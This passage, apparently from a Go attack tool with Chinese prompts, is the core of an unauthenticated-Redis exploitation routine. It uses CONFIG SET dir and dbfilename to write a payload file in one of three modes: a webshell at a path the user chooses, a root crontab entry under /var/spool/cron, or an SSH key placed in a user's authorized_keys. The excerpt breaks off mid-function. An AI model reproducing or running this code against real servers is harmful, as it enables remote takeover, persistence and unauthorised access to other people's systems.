| 10 | ) |
| 11 | |
| 12 | func echo(flag, path string) { |
| 13 | var dir, dbfilename, webshell string |
| 14 | var save, helloWebShell = "save", "helloWebShell" |
| 15 | |
| 16 | reader := bufio.NewReader(os.Stdin) |
| 17 | |
| 18 | switch flag { |
| 19 | case "getshell": |
| 20 | fmt.Print("设置保存的路径: ") |
| 21 | dir, _ = reader.ReadString('\n') |
| 22 | dir = strings.TrimSpace(dir) |
| 23 | dir = fmt.Sprintf("config set dir %s", dir) |
| 24 | |
| 25 | fmt.Print("设置保存的文件名:") |
| 26 | fmt.Scanln(&dbfilename) |
| 27 | dbfilename = fmt.Sprintf("config set dbfilename %s", dbfilename) |
| 28 | |
| 29 | Info("读取 " + path) |
| 30 | webshell = fmt.Sprintf("\n\n\n%s\n\n", readExp(path)) |
| 31 | |
| 32 | case "crontab": |
| 33 | dir = "config set dir /var/spool/cron/" |
| 34 | dbfilename = "config set dbfilename root" |
| 35 | Info("读取 " + path) |
| 36 | webshell = fmt.Sprintf("\n\n\n%s\n\n", readExp(path)) |
| 37 | |
| 38 | case "ssh": |
| 39 | fmt.Print("设置Linux用户名: ") |
| 40 | // reader := bufio.NewReader(os.Stdin) |
| 41 | dir, _ = reader.ReadString('\n') |
| 42 | dir = strings.TrimSpace(dir) |
| 43 | |
| 44 | if strings.EqualFold(dir, "root") { |
| 45 | dir = fmt.Sprintf("config set dir /%s/.ssh/", dir) |
| 46 | } else if strings.Contains(dir, "/") { |
| 47 | dir = fmt.Sprintf("config set dir %s", dir) |
| 48 | } else { |
| 49 | dir = fmt.Sprintf("config set dir /home/%s/.ssh/", dir) |
| 50 | } |
| 51 | |
| 52 | dbfilename = "config set dbfilename authorized_keys" |
| 53 | Info("读取 " + path) |
| 54 | webshell = fmt.Sprintf("\n\n%s\n\n", readExp(path)) |
| 55 | } |
| 56 | |
| 57 | Info(dir) |
| 58 | Success(RedisCmd(dir)) |
| 59 | |
| 60 | Info(dbfilename) |
| 61 | Success(RedisCmd(dbfilename)) |
| 62 | |
| 63 | Info(webshell) |
| 64 | ctx := context.Background() |
| 65 | err := Rdb.Set(ctx, helloWebShell, webshell, time.Minute*2).Err() |
| 66 | if err != nil { |
| 67 | Err(err) |
| 68 | } |
| 69 | |